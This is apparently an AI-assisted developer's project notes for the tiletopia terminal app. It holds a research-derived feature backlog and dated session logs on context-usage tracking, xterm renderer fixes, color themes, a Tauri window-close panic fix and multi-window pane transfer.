## Feature backlog — 2026-05-28 fan-out research
|
||||
|
||||
Four-agent research pass (terminal-landscape, AI-orchestration, xterm/Tauri ecosystem, codebase gap-analysis) into things to add. **Headline finding:** tiletopia already owns the hard primitives (tiling, multi-window, broadcast, MCP control surface); the real gap vs Conductor/Crystal/claude-squad/Vibe-Kanban is *git-worktree isolation + per-session status/cost/diff visibility*. Full agent deliverables are in this session's conversation; condensed here.
|
||||
|
||||
**→ Exploring first (user-selected 2026-05-28):**
|
||||
- [x] ~~**Per-session cost / token tracking.**~~ Done (code) 2026-05-28 — **WSL-only v1, pending Windows runtime verify.** Backend `src-tauri/src/usage.rs` (`get_claude_usage(distros)` command): probes `$HOME` per distro via `wsl.exe`, reads `~/.claude/projects/*/*.jsonl` over the `\\wsl.localhost\<distro>` UNC share, tallies `message.usage` **per model per assistant line** (sessions can switch models). Cached by `(path,size,mtime)`; recency-capped 30d/50 sessions. Frontend: `src/lib/usage.ts` holds the editable pricing table (per-MTok, matched by opus/sonnet/haiku substring) + cost/format helpers; `UsagePanel.tsx` (MCP-panel modal pattern) lists sessions, highlights those whose transcript `cwd` matches an open pane (`[pane: label]`); titlebar 💰 total chip; App polls 20s (visible) / 5s (panel open); **Ctrl+Shift+U** opens it. **Design choice:** session-list attribution (not 1:1 pane binding) — avoids the unsolvable "2 claudes in one cwd" ambiguity. **Caveats:** cost is an estimate (cache-creation priced at 5m rate; rates hardcoded, may drift); panes with no explicit cwd (`~`) won't highlight; PowerShell/SSH show nothing. Plan: `~/.claude/plans/greedy-cooking-flask.md`.
|
||||
- **PIVOTED 2026-05-28 → per-pane context-fill indicator (replaces the panel).** User decided lifetime token totals + $ aren't worth it on a subscription; what's actionable is *current context-window occupancy* per pane (spot the one needing `/compact`). Removed `UsagePanel`, the 💰 titlebar chip, and `Ctrl+Shift+U`. Repurposed `usage.rs`: `get_pane_context` returns each recent session's **current** occupancy = the LAST assistant turn's `input + cache_read + cache_creation` tokens (verified ~274k on this 1M session). `src/lib/usage.ts` now does window inference (200k vs 1M by whether occupancy already exceeds 200k — model id doesn't encode the variant), %, color ramp. App polls 15s (visibility-gated) → `cwd→SessionContext` map via orchestration; `LeafPane` renders a slim fill bar + % in the header, matched by `leaf.cwd`. **Also fixed narrow-pane toolbar** (user report: close × clipped when slim): a `ResizeObserver` in LeafPane sets `leaf--narrow`/`leaf--xnarrow` tiers; label shrinks first, split/status/secondary chips drop by tier, close × + context indicator stay pinned-right + visible down to the 180px min. Plan: `~/.claude/plans/greedy-cooking-flask.md` (rewritten for the pivot). **Pending Windows runtime verify.** Window-size 200k/1M is inferred (approx near boundary); `~`-spawned / cd'd panes may not match their session.
|
||||
- **Windows test 2026-05-28:** narrow-pane toolbar reflow (close × stays visible when shrunk, leaf--narrow/xnarrow tiers) **VERIFIED working.** BUT the context bar **does not show** — root-caused: it keys on `leaf.cwd`, which is ~always `undefined` (`newLeaf` sets no cwd; the shell picker never supplies one; only split-inheritance propagates it). So the cwd↔transcript match never hits for normal panes. Needs the pane's *live* cwd to work — leading options: capture via OSC 7 (default WSL bash under tiletopia doesn't emit it → would need injecting a PROMPT_COMMAND at spawn, shell-specific), or an "active pane shows its distro's currently-active session" heuristic gated on recent mtime. Decision pending with user.
|
||||
- **Fix implemented 2026-05-28 (OSC 7 live cwd, user chose this) — PENDING re-test.** `pty.rs` Wsl arm now sets `PROMPT_COMMAND` (forwarded via `WSLENV=…:PROMPT_COMMAND/u`) to `printf '\033]7;file://%s%s\033\\' "$HOSTNAME" "$PWD"` so the shell emits OSC 7 each prompt; default Ubuntu bash inherits an env-provided PROMPT_COMMAND (a hard-assigning rc or non-bash shell won't report → bar hidden, no breakage). `XtermPane` registers `term.parser.registerOscHandler(7, …)`, decodes the path, fires new `onCwd` prop. `LeafPane` tracks `liveCwd` and matches on `(liveCwd ?? leaf.cwd)`. OSC 7 fires at the bash prompt right before `claude` launches → `liveCwd` = claude's launch cwd; also follows `cd`. **If still blank after re-test:** check the shell actually emits OSC 7 (it won't if the user's rc hard-sets PROMPT_COMMAND, or default shell isn't bash) and that backend `get_pane_context` returns sessions (UNC/$HOME probe).
|
||||
- **SHELVED 2026-05-28 (user decision).** After getting OSC 7 + the queueMicrotask render-phase fix working (matching confirmed via console diagnostics), the remaining wall was unsolvable from transcripts: **can't distinguish "claude is live in this pane" from "a shell sitting in a directory that recently had a claude session."** No reliable signal — claude Code renders **inline (not the alternate-screen buffer)** so alt-screen detection fails; no WSL foreground-process access from the Windows host (wsl.exe PID ≠ linux shell PID); and any mtime recency gate can't separate an idle-but-live session (was 18min idle) from a stale neighbouring shell (52min). Also the 200k-vs-1M window isn't in the transcript (`model` is bare `claude-opus-4-7`; the `[1m]` in `/context` is display-only) so % is unreliable (showed absolute tokens instead). Removed the indicator, OSC 7 injection (pty.rs), `usage.rs`/`get_pane_context`, `src/lib/usage.ts`, orchestration `paneContext`, and the App poll. **KEPT: the narrow-pane toolbar reflow** (`leaf--narrow`/`leaf--xnarrow` width tiers via ResizeObserver, label shrinks first, close × stays pinned/visible to the 180px min) — verified working, independent of the context feature. **If ever revisited:** the only correct approach is a WSL foreground-process probe (the deferred "is claude foreground" idle-detection backlog item) to know which pane is actually running claude.
|
||||
- **Windows test #2 2026-05-28 (OSC 7) + refinements:** OSC 7 injection **confirmed working** (`echo $PROMPT_COMMAND` shows our printf; a fresh pane lit up). Two issues found + fixed: (1) **bars appeared on plain bash panes** sitting in a dir that once had a claude session → added a **recency gate** (`CONTEXT_ACTIVE_MS = 10min`): only show when the matched session was written recently, so it tracks a live claude not a dormant transcript. (2) **The `[1m]` 1M-context marker is NOT in the transcript** — model id is bare (`claude-opus-4-7`), `[1m]` is display-only in `/context`. So the 200k-vs-1M window is unknowable from transcripts; the old `<200k→200k` guess overstated % for 1M users (42k read 21% vs claude's real 4%). Fix: indicator **label now shows absolute token count** (`formatTokens`, accurate regardless of window); the fill bar **assumes 1M**. A long-running claude pane spawned by the OLD binary won't have OSC 7 → no bar until respawned. **Still pending: confirm a freshly-spawned claude pane shows the right number.**
|
||||
- **Superseded — original lifetime-token panel refinements (kept for history):** (1) **Scope** — panel + titlebar chip now default to sessions matching open panes ("this workspace"), with an "open panes / all recent" toggle. The first cut summed *every* recent session on the distro (all projects, `/mnt` + home), which read as inflated. **Investigated the "double counting mounted folders + projects" report: NOT a real double count** — every transcript file is read exactly once, and no two project dirs share a cwd because claude resolves symlinks/mounts to the real path before mangling the project-dir name (e.g. the `~/claude/projects/tiletopia → /mnt/d/dev/tiletopia` symlink yields only `-mnt-d-dev-tiletopia`). The inflation was purely the global scope. (2) **Metric framing** — user is on a Pro/Max subscription where $ is meaningless (and `/usage` rate-limit quota can't be derived from transcripts); **tokens are now the headline**, the API-cost estimate is a labeled secondary `~$` kept visible so the user can validate it against real API billing at work. **Open question:** accuracy of the $ estimate vs actual API billing — user will check at work.
|
||||
- [ ] **Smart link providers.** `terminal.registerLinkProvider()` to make file paths (`src/foo.ts:12:3`), `localhost:PORT`, and error locations clickable — more flexible than the regex-only web-links addon already loaded. Open file in editor / browser. Difficulty: medium.
|
||||
- [x] ~~**Find in scrollback.**~~ Done + **verified on Windows 2026-05-28** — `@xterm/addon-search` + new `src/components/SearchBar.tsx`/`.css` overlay, Ctrl+Shift+F open / Enter / Shift+Enter / Esc, regex + case toggles, decoration highlight.
|
||||
- [x] ~~**Unicode 11 + grapheme width.**~~ Done + **verified on Windows 2026-05-28** — `@xterm/addon-unicode11` loaded after CanvasAddon, `term.unicode.activeVersion = '11'`. (Skipped the separate `addon-unicode-graphemes` for now.)
|
||||
- [x] ~~**Pane navigation key handler.**~~ Done + **verified on Windows 2026-05-28** — Ctrl+Alt+Arrow / Ctrl+Alt+HJKL (spatial via `findNeighborInDirection`) + Alt+1..9 (Nth `walkLeaves` leaf). New `NavigateIntent` union in orchestration.tsx; XtermPane emits intent via new `onNavigate` prop → LeafPane → App `navigateTo` sets active leaf (reuses isActive→focusTrigger refocus). All chords share the one `attachCustomKeyEventHandler`. **Caveats:** Alt+1..9 swallows bare Alt+digit (breaks readline digit-arg / vim buffer-jump); Ctrl+Alt+Arrow may collide with Windows virtual-desktop switching — both noted in shortcuts.ts, v2 mitigation = opt-out toggle or Ctrl+Alt+Shift+Arrow.
|
||||
|
||||
**Stuck/ghost cursor bug — FIXED + verified on Windows 2026-05-28.** The DOM renderer (xterm default) draws the cursor as a separate layered DOM element; under the Claude TUI's rapid cursor hide/show (`\x1b[?25l/h`) + `cursorBlink` it left a stale white block frozen at the old cursor position. Fix: load `@xterm/addon-canvas` in XtermPane after `term.open()` (composites the cursor into the text surface), wrapped in try/catch that falls back to the DOM renderer on init failure. Chose canvas over WebGL because tiletopia runs many panes and WebView2 caps live WebGL contexts at ~16. User confirmed the marker no longer sticks.
|
||||
|
||||
**Implementation note:** the three above were built in one fan-out workflow (parallel design on haiku/sonnet → single sonnet implementer applying to shared files), since all three touch `XtermPane`'s mount + its single `attachCustomKeyEventHandler` (xterm replaces the handler on each call, so they MUST coexist in one registration — don't add a second `attachCustomKeyEventHandler` anywhere).
|
||||
|
||||
**Parked — circle back (saved, not yet prioritized):**
|
||||
|
||||
*Tier 1 — core "many claudes" mission (highest leverage):*
|
||||
- [ ] **Git worktree per session.** Spawn each claude pane into its own auto-created worktree+branch so parallel sessions on one repo can't clobber each other. The defining feature of every dedicated tool in the space (Crystal, Conductor, claude-squad, Vibe Kanban); Claude Code itself has `--worktree`. Unlocks best-of-N variants side-by-side. Fiddly part is worktree lifecycle/cleanup-on-close. Difficulty: medium.
|
||||
- [ ] **Session status: working / waiting-for-input / done.** Existing idle detection conflates "blocked on a permission prompt" with "finished." Pattern-match claude's prompt strings (`Do you want to proceed?`, `❯`, y/n) to distinguish *needs-me* vs *done*. This is what lets one human supervise 8 agents; makes native notifications 10× more useful. Difficulty: medium.
|
||||
- [ ] **Cross-session diff review.** Per-pane side tab rendering `git diff` in that session's worktree, with accept/reject. With worktrees, reviewing N branches is the bottleneck. Difficulty: medium.
|
||||
- [ ] **Prompt queueing per pane.** Queue follow-up prompts that auto-send when claude returns to idle. Builds on existing idle detection + broadcast plumbing. Difficulty: easy.
|
||||
- [ ] **Session templates / "spawn N".** Named launch presets (cwd, worktree scheme, initial prompt, env) + "spawn 3 copies, each a different approach." Difficulty: easy.
|
||||
- [ ] **Auto-restart / resume on crash or context-limit.** Watch PTY exit codes, distinguish clean vs crash, re-spawn with `claude --resume`/`--continue` to keep long unattended runs alive. Difficulty: medium.
|
||||
- [ ] **Per-session budget caps w/ auto-pause.** Token/$ ceiling per session/workspace; auto-pause or notify at ~85%, flag sessions stuck retrying. Layers on cost tracking. Difficulty: medium.
|
||||
- [ ] **Kanban/task-board view over sessions.** Card = task = worktree = agent, moving queued → running → needs-review → merged (à la Vibe Kanban). MCP server makes Claude-driven task decomposition feasible. Substantial 2nd UI paradigm — defer until the Tier-1 cluster lands. Difficulty: hard.
|
||||
|
||||
*Tier 2 — terminal power-user:*
|
||||
- [ ] **Layout restore across restarts (lighter version).** `@xterm/addon-serialize` snapshots screen+scrollback so reopening restores live-looking terminals. The 80% version of the already-deferred "persistent scrollback" (which needs an out-of-process mux daemon). Difficulty: medium.
|
||||
- [ ] **Output triggers (regex → action).** iTerm2-style: watch each PTY stream for user regex, fire notify/highlight/auto-keystroke/mark. Reuses the idle-detection data tap; more precise than generic idle. Difficulty: medium.
|
||||
- [ ] **Quick-select / hints mode.** Overlay short labels on URLs/paths/hashes in the visible buffer; type label to copy/open (WezTerm quick-select / Kitty hints). Difficulty: medium.
|
||||
- [ ] **Activity markers / decorations.** `registerMarker()` + `registerDecoration()` to mark prompt boundaries / errors / command-finished in the gutter + jump between them. Difficulty: medium.
|
||||
- [ ] **Stacked / floating panes.** Zellij-style: collapse 10+ panes into stacks (thin title bars, expand on focus), or float a scratch terminal over the grid. Scales past where pure tiling breaks (~8 panes). Difficulty: medium.
|
||||
- [ ] **Capture / pipe pane output.** tmux capture-pane / pipe-pane: dump scrollback to file or tee live output to a log/command. Auto-logging each claude session → searchable transcripts. Difficulty: easy.
|
||||
- [ ] **Pane fuzzy switcher.** Extend the Ctrl+K palette with a pane-target source: fuzzy-find any pane across tabs/windows by title/cwd/project/command. Difficulty: easy.
|
||||
- [ ] **Saved command/prompt snippet library.** Reusable parameterized commands/prompts inserted into any pane (or broadcast) via the palette (Warp Workflows). Difficulty: easy.
|
||||
- [ ] **System clipboard addon (OSC 52).** `@xterm/addon-clipboard` so a claude session inside WSL can set the host clipboard. Difficulty: easy.
|
||||
- [ ] **Inline images (sixel / iTerm IIP).** `@xterm/addon-image` to render images CLIs emit (charts, previews, imgcat). Niche; needs memory tuning. Difficulty: medium.
|
||||
- [ ] **Inline file/markdown/diff preview.** Click a path in output → side-panel preview (markdown render, image, diff) without leaving the app (Wave Terminal). Difficulty: hard.
|
||||
|
||||
*Tier 3 — platform & polish (some overlap existing backlog):*
|
||||
- [ ] **System tray + minimize-to-tray.** `TrayIcon` (`@tauri-apps/api/tray`) — keep tiletopia resident, restore/jump-to-workspace from tray. Difficulty: easy–medium.
|
||||
- [ ] **Single-instance + window-state persistence.** `tauri-plugin-single-instance` + `tauri-plugin-window-state` — no duplicate launches, restore window geometry (the per-window-geometry gap noted elsewhere in this file). Difficulty: easy.
|
||||
- [ ] **Global summon hotkey.** `tauri-plugin-global-shortcut` — system-wide hotkey to raise tiletopia from any app. Difficulty: easy.
|
||||
- [ ] **Settings panel.** A home for the already-deferred configurable idle threshold + MCP port + theme toggle, all currently hardcoded. Difficulty: easy–medium.
|
||||
- [ ] **Small UX wins (codebase agent):** auto-save MCP policy rules (debounce like workspace save); `Ctrl+Shift+N` for new pane; 5s undo-toast on pane close (toast infra exists); narrow-window titlebar overflow menu; stronger broadcast-group visual tint; change-cwd-without-respawn (needs `/proc/<pid>/cwd` probe).
|
||||
|
||||
(Native OS notifications, configurable idle threshold, and persistent scrollback already appear in the top checklist — not duplicated here; the research reinforces their priority and the status-detection item above multiplies the notification payoff.)
|
||||
|
||||
## Session log
|
||||
|
||||
### 2026-06-11 — NEW user-reported cursor bug (diagnosis pending user A/B test)
|
||||
|
||||
**Symptom:** typing in a pane, the cursor "gets stuck" / shows a gap between typed text and the cursor block; after a few seconds of not typing the gap "vanishes" (display snaps correct). User Q&A: only noticed **inside claude** (not confirmed at plain bash); **a few seconds** to self-correct; unknown whether visual-only or a real eaten character. Distinct from the 2026-05-28 stuck/ghost cursor (that was the DOM renderer leaving a stale block; fixed via canvas addon).
|
||||
|
||||
**Leading hypothesis: Claude Code TUI input-render buffering, not tiletopia.** Claude's Ink TUI does render+stdin on one event loop; under load it buffers keystroke echo and flushes in a batch — cursor lags/gaps then catches up. Documented upstream: claude-code #58498 (input invisible/cursor frozen, dumps at once), #63504 (Windows host CPU pressure starves input loop), #29366, #2847. Running many parallel claudes (tiletopia's whole purpose) = exactly the CPU-contention trigger.
|
||||
|
||||
**Decisive test (user to run):** same distro, run `claude` in Windows Terminal, type fast mid-session — if it reproduces there, it's claude upstream, not tiletopia. Also check whether it correlates with number of busy panes.
|
||||
|
||||
**If tiletopia-implicated:** note `@xterm/addon-canvas` is now **deprecated upstream** (no fixes, removed in xterm v6; webgl is the recommended path — would need context-pool management given the ~16 WebGL context cap with many panes; xterm 5.5's DOM renderer is faster than when we abandoned it but would regress the 05-28 ghost-cursor fix). Renderer swap is the lever ONLY if the A/B test pins it on tiletopia.
|
||||
|
||||
### 2026-06-01 — Customizable terminal colors (global theme + per-pane override), v0.4.1
|
||||
|
||||
**Feature:** user-editable terminal colors. Scope = **global default + per-pane override** (both, per the user's choice). Editable colors = **background / foreground / cursor / selection** only (NOT the full 16-color ANSI ramp — explicitly out of scope). UI = **modal + presets**.
|
||||
|
||||
**New `src/lib/theme.ts`** is the model: `PaneColors` type (4 optional hex fields); `DEFAULT_PANE_COLORS` (the historical palette: bg `#0c0c0c`, fg `#c5c8c6`, cursor `#ffffff`, selection `#3a3a3a`); `COLOR_PRESETS` (Tiletopia Dark, Solarized Dark, Gruvbox Dark, Dracula, Nord, Light); `resolvePaneColors(global, override)` (override > global > default, field-by-field, always returns all 4); `toXtermTheme()` → xterm `ITheme` (maps `selection`→`selectionBackground` per xterm 5.5 rename, pins `cursorAccent`=background, and keeps the fixed softened `white #c5c8c6`/`brightWhite #e0e0e0` slice in `BASE_XTERM_THEME`); `loadGlobalColors`/`saveGlobalColors` (localStorage, hex-validated).
|
||||
|
||||
**Persistence split — NO Rust changes needed.** Global default → **localStorage** (`tiletopia.globalColors.v1`), shared per-origin across windows, live cross-window sync via the `storage` event. Per-pane → new optional **`LeafNode.colorOverride`** riding in the workspace tree; the Rust backend stores the tree as opaque `serde_json::Value` (`window_state.rs`), so any new optional leaf field round-trips for free — confirmed before coding (same reason `fontSizeOffset`/`broadcast`/`mcpAllow` persist). `colorOverride` preserved across `setLeafShell` + `reshapeToPreset`; new metadata-only `setLeafColors` mutator (clears override when passed undefined/all-undefined).
|
||||
|
||||
**Live apply:** `XtermPane` gained a `colors?: Required<PaneColors>` prop; mount theme = `toXtermTheme(initialColorsRef ?? DEFAULT_PANE_COLORS)`; a new effect (keyed on the 4 fields, not object identity) sets `term.options.theme` + `term.refresh()` on change — mirrors the existing fontSize effect. No fit/resize (color doesn't change cell geometry). **This subsumed a pre-existing uncommitted softened-foreground tweak** (the old literal `theme:{background,foreground}` block) into theme.ts.
|
||||
|
||||
**Wiring:** orchestration gained `globalColors`, `setLeafColors`, `openColorPanel(leafId?)`. New `ColorPanel.tsx`/`.css` modal (mirrors McpPanel style): **Global default / This pane** tab toggle, 4 color-picker+hex rows (per-row "↺ revert to global" in pane mode), live preview swatch, preset buttons, reset action. Titlebar **🎨** button → global mode; per-pane toolbar **🎨** chip (lights up when overridden) → that pane.
|
||||
|
||||
**Tests:** added `setLeafColors` describe + extended `setLeafShell` preservation test in `tree.test.ts`; new `theme.test.ts` (resolve precedence, toXtermTheme mapping, preset shape). `vitest` **cannot run in WSL** — `node_modules` holds the Windows rollup native binary, not `@rollup/rollup-linux-x64-gnu`; do NOT install it from WSL (corrupts the Windows build tree). `tsc -b` passes (covers src + tests via tsconfig.app's `include:["src"]`). Run `pnpm test` on the Windows host.
|
||||
|
||||
**Commits:** `7e624a3` (feature), `ca97fb3` (bump 0.4.0→**0.4.1** in package.json + tauri.conf.json + Cargo.toml + Cargo.lock), `8c6aded` (this memory entry). Pushed to origin/main. Then released `v0.4.1` via `scripts/release.sh v0.4.1`.
|
||||
|
||||
**⚠️ UNRESOLVED — wrong installer attached to the v0.4.1 release.** The git tag `v0.4.1` and the Forgejo release entry (title v0.4.1) are correct, but the attached `.exe` is **`tiletopia_0.4.0_x64-setup.exe`**, not 0.4.1. Cause: `release.sh` picks the newest `*-setup.exe` by **mtime** (`ls -1t | head -n1`); a stale 0.4.0 build (23:44) was newest when release.sh ran (23:51); the correct 0.4.1 build landed at 23:56, after publish. `tiletopia.mcpb` asset is fine. **Fix (needs running — was auto-denied as an outward-facing release-asset edit; user to authorize/run):**
|
||||
```
|
||||
tea releases assets create --login rdx4 v0.4.1 src-tauri/target/release/bundle/nsis/tiletopia_0.4.1_x64-setup.exe
|
||||
tea releases assets delete --login rdx4 --confirm v0.4.1 tiletopia_0.4.0_x64-setup.exe
|
||||
```
|
||||
**TODO — harden `scripts/release.sh`** so this can't recur: select `tiletopia_${pkg_version}_x64-setup.exe` explicitly (fail if missing) instead of newest-by-mtime; optionally bail if no installer is newer than the bump commit.
|
||||
|
||||
### 2026-05-30 — FIX: closing any window killed all windows (Tokio-runtime panic)
|
||||
|
||||
**Symptom:** after dragging a pane out (or spawning) a daughter window, closing *either* the main or a daughter window closed them all, dumping `exit code 101`.
|
||||
|
||||
**Root cause (confirmed via a 3-agent Workflow + reading the installed `tauri-runtime-wry-2.11.2` / `tauri-2.11.2` source):** NOT the exit logic and NOT WebView2. It was a **panic on the main thread**. The synchronous `on_window_event` `CloseRequested` handler in `lib.rs` calls `WindowsState::forget()` → `schedule_save()` → `tokio::spawn` (`window_state.rs:95`). That callback runs on the wry event-loop main thread with **no ambient Tokio runtime**, so `tokio::spawn` panics (`there is no reactor running…`); an unhandled main-thread panic aborts the whole process, taking every window + PTY down. `push_window_workspaces` hit the same `schedule_save` line but never crashed because it's an `async #[tauri::command]` that already runs inside Tauri's managed Tokio runtime — the bug only fired on the window-close path.
|
||||
|
||||
**Fix (`src-tauri/src/window_state.rs`):** swap `tokio::spawn` → **`tauri::async_runtime::spawn`**, which schedules onto Tauri's global lazily-init'd Tokio runtime and works from *any* thread (incl. sync callbacks). Verified against `tauri-2.11.2/src/async_runtime.rs`: same `JoinHandle` shape, has `.abort()` (needed for the debounce cancel), and `tokio::time::sleep` still works inside the spawned future. Imports: `JoinHandle`+`spawn` now from `tauri::async_runtime`, `Duration` from `std::time`, `sleep` from `tokio::time`. **Rule learned: never call `tokio::spawn`/`tokio::*` runtime APIs from `on_window_event`, the `RunEvent` `.run()` closure, `Drop` impls, or any sync helper reachable from them — use `tauri::async_runtime::spawn`. Audit found this was the ONLY unsafe instance (`mcp.rs:800` and `mcp.rs:1502` are in async contexts → safe).**
|
||||
|
||||
**Also `src-tauri/src/lib.rs` (defensive, not the primary fix):** switched `.run(generate_context!())` → `.build(…).run(|app, event| …)` and on `RunEvent::ExitRequested` call `api.prevent_exit()` iff `code.is_none() && !webview_windows().is_empty()` — belt-and-suspenders so no future path can tear down the process (and orphan live PTYs) while any window remains; explicit `AppHandle::exit(Some)` is always honored. Verified-from-source semantics: wry emits `ExitRequested{code:None}` **only** when the last window is destroyed (window store empty), and `manager.on_window_close` removes the window from `webview_windows()` *before* `ExitRequested` fires, so the count is accurate and there's no zombie risk. Window close/destroy logging demoted `warn!`→`debug!` (run `RUST_LOG=tiletopia=debug` to trace).
|
||||
|
||||
**Status: VERIFIED on Windows 2026-05-30** (`pnpm tauri dev`) — closing a daughter (and the main) no longer kills the other windows; no exit-101. Fix committed in `9144ba6`. **Known minor follow-up:** a deliberately-closed window's *own* panes leak their PTYs (webview JS doesn't run XtermPane unmount cleanup on OS close), so those WSL shells linger orphaned — lower priority than persistence, not fixed.
|
||||
|
||||
### 2026-05-28/29 — bug fix + feature batch from the backlog (post-0.4.0)
|
||||
|
||||
Started from a user-reported **stuck/ghost cursor** in panes; fixed by switching xterm from the DOM renderer to `@xterm/addon-canvas` (DOM renderer leaves a stale cursor block under the Claude TUI's rapid hide/show + blink). User verified fixed on Windows.
|
||||
|
||||
Then a 4-agent fan-out research pass into features (logged in the "Feature backlog — 2026-05-28 fan-out research" section above), from which the user picked 5 to explore. Shipped + **verified on Windows**: **find-in-scrollback** (Ctrl+Shift+F + SearchBar overlay), **Unicode 11**, **keyboard pane navigation** (Ctrl+Alt+arrows/HJKL + Alt+1..9) — built via a Workflow (parallel design on haiku/sonnet → one sonnet implementer). Plus a **narrow-pane toolbar reflow** (close × stays visible to the 180px min via `leaf--narrow`/`xnarrow` width tiers) — verified.
|
||||
|
||||
**Per-session token tracking → context bar → SHELVED.** Built a WSL transcript reader + usage panel, then pivoted (user feedback) to a per-pane context-fill indicator, then **shelved it entirely** — couldn't reliably tell "claude is live in this pane" from "a shell in a dir that recently had a claude session" (no alt-screen, no WSL foreground-process access, no usable mtime cutoff; 200k/1M window not in transcripts). Full postmortem under the per-session-cost backlog item above. The narrow-toolbar fix was kept; everything else from that thread was reverted.
|
||||
|
||||
Backlog added: **"reattach window to existing window."** Misc cleanups: removed an accidental `dev` npm package + stale `inotify` lockfile/workspace cruft from the Windows side. **Still open in the "explore first" set: smart link providers.** All commits pushed to `main` (tip `cd55006`); deps (canvas/search/unicode11) installed + lockfile committed. No version bump / release cut this session.
|
||||
|
||||
### 2026-05-28 — **v0.4.0 shipped** (tabs + multi-window made actually working)
|
||||
|
||||
Resume session that took the 2026-05-28 tabs/multi-window feature from "authored, unverified, buggy" to a shipped release. User built the NSIS `.exe` on Windows and ran `scripts/release.sh v0.4.0` (which also attaches `tiletopia.mcpb` now — the script was updated since the earlier session log note claimed it didn't). Version bumped 0.3.0 → 0.4.0 across package.json + Cargo.toml + tauri.conf.json + Cargo.lock atomically (commit `2a1f1d4`). README highlights list got tabs + multi-window bullets (`5ef35e3`); body sections + shortcut tables were already current, hard-deny count already 14, `gen:readme --check` clean.
|
||||
|
||||
Commits this session: `bea6cf2` (capability + StrictMode adopt fix), `e6d0040` (accumulation + tab-close + scrollbars + drag ghost), `309b602` (XtermPane listener leak), `2a1f1d4` (version), `5ef35e3` (README). **Full technical detail for all fixes is in the "RESOLVED 2026-05-28 (resume session)" block under the original feature's session log below** — capability glob, destructive-read×StrictMode session loss, drag ghost (B1), drag-out registration wait, workspace-accumulation aggregator fix + corrupted-file reset, tab-close popover portal, global scrollbars, and the pre-release 3-agent audit (1 medium fixed, 1 high deferred).
|
||||
|
||||
**Known deferred follow-up (carried):** the HIGH-severity transfer-refcount/PTY leak if a detached window closes mid-adopt — low-probability, ship-now decision. Proper fix sketched in the audit notes below (label→paneId adopting registry + close-handler force-kill).
|
||||
|
||||
### 2026-05-28 — Tabs + multi-window pane transfer (3 phases, pushed)
|
||||
|
||||
Two big features the user asked for in one session. Three commits on `main`: `1a035ad` (Phase 1 tabs), `8ad5178` (Phase 2 transfer), `6faf7e5` (Phase 3 drag-out). **Rust side authored in WSL — cargo build still needs verification on Windows host before this is runnable.**
|
||||
|
||||
**Phase 1 — tabbed workspaces.** Tab strip above the existing pane area; each tab owns an independent tile tree.
|
||||
|
||||
- **Persistence shape:** workspace.json migrated from bare `TreeNode` to `{ version: 2, workspaces: [{ id, name, tree }] }`. Legacy v1 is auto-detected in `deserializeWorkspaces` and wrapped as `[{ name: "Default", tree: <legacy> }]`. Per-leaf `migrateLegacyLeaves` (PowerShell sentinel etc.) still applies per-tree.
|
||||
- **PTYs survive tab switches via render-all-panes.** Every workspace's panes mount at once; inactive workspace layers use `visibility: hidden; pointer-events: none; z-index: 0` while keeping `position: absolute; inset: 0`. `visibility: hidden` (vs `display: none`) preserves the container's bounding rect so xterm.js's fit() reads valid dims; the existing per-pane resize dedupe in XtermPane (`lastSentCols/Rows` check) absorbs no-op SIGWINCHes.
|
||||
- **`tree` / `setTree` kept as identity-stable derived wrappers** that read `currentWorkspaceIdRef.current`. Means the bulk of App.tsx didn't change despite the state model shift. Same trick for `activeLeafId` / `setActiveLeafId` — backed by `activeLeafByWorkspace: Map<WorkspaceId, NodeId | null>` so each tab remembers its own focus.
|
||||
- **Hidden-tab focus guard (plan-agent catch).** XtermPane's mount-time `term.focus()` would yank focus into hidden tabs on app boot. Guarded with `getComputedStyle(container).visibility !== "hidden"`. CSS visibility is inherited, so the computed value on the container reflects the workspace-layer's setting. Focus poller in App.tsx:223 also scoped to the active workspace layer via `data-workspace-id` ancestor check.
|
||||
- **Shortcuts:** Ctrl+T new tab, Ctrl+Shift+T close (window.confirm when there are live panes), Ctrl+PageDown/PageUp navigate, Ctrl+1..9 switch. shortcuts.ts is SoT; README + Help auto-regenerate via `pnpm gen:readme`.
|
||||
- **Tab close confirm is inline popover** anchored to the X button (per plan-agent: not modal-queue style — close is user-initiated, not a stream of unsolicited prompts like MCP).
|
||||
|
||||
**Phase 2 — multi-window pane transfer.** Right-click pane toolbar → "Move to new window" pops the pane into a fresh tiletopia window with its PTY intact. New window is a full peer with its own tab strip.
|
||||
|
||||
- **The load-bearing facts** (verified by reading pty.rs / lib.rs / ipc.ts):
|
||||
1. `PaneId = u64`, never reused, sequence-assigned. Stable across windows.
|
||||
2. `pane://{id}/data` events go through `AppHandle::emit` — Tauri 2 event system is **process-wide**, so any window that `listen()`s on the same id gets the same stream.
|
||||
3. `PtyManager` lives in `Arc<>` managed state; one process, one manager, every window shares it.
|
||||
- **Transfer-suppression: Rust-side refcount, NOT a JS module Set.** `PtyManager.transferring: Mutex<HashMap<PaneId, u32>>`. `kill_pane` becomes a no-op while refcount > 0. Source window's unmount calls `kill_pane` → silently dropped; target window's `claim_pane` decrements after subscribing. The JS-side "in-flight set" the plan-agent vetoed would have raced cross-window React event loops.
|
||||
- **Scrollback replay shipped in v1** (plan-agent's other ship-in-v1 call). `get_pane_ring(id) -> base64` returns the existing PaneRing snapshot (256 KiB ≈ 3000 lines @ 80 cols). New window's XtermPane writes the ring to xterm.js BEFORE attaching the live `onPaneData` listener. Without this, a transferred Claude session looks blank until the next prompt repaint.
|
||||
- **Cross-window save coordination via backend aggregator** (plan-agent's third correction). Each window debouncing its own write to workspace.json would race. New `window_state.rs`: `WindowsState { per_window: Mutex<HashMap<String, Vec<Value>>>, save_task: Mutex<Option<JoinHandle>> }`. Frontends call `push_window_workspaces(label, json)`; backend stores per-window, debounces save with a 500ms tokio sleep, atomic-writes the merged `{ version: 2, workspaces: [<all from all windows>] }`. **Workspaces stored as `serde_json::Value`** — backend stays agnostic of tree shape across future LeafNode changes.
|
||||
- **Non-main window close drops its entry** via `Tauri::WindowEvent::CloseRequested` in lib.rs `on_window_event`. Matches Chrome-style "closing a detached window discards its tabs". Main window's entry persists across the app lifetime so on next launch all of main's tabs reopen.
|
||||
- **MCP scoped to main window only.** Both the mirror push and `onMcpRequest` subscription gated on `IS_MAIN_WINDOW = getCurrentWebviewWindow().label === "main"`. `paneIdByLeafRef` is per-window, so a request targeting a leaf in another window would fail to resolve anyway. Documented as "MCP sees main's current tab" — future extension could expose `list_windows()` / `switch_window()` MCP tools.
|
||||
|
||||
**Phase 3 — drag-out gesture.** Extended the existing pointer-drag for header swap: release more than 60px past any viewport edge → drag-out via the same `moveToNewWindow` path. The 60px margin avoids triggering on accidental release over the OS titlebar (~30px). No backend changes — just a second entry point into Phase 2's mechanism.
|
||||
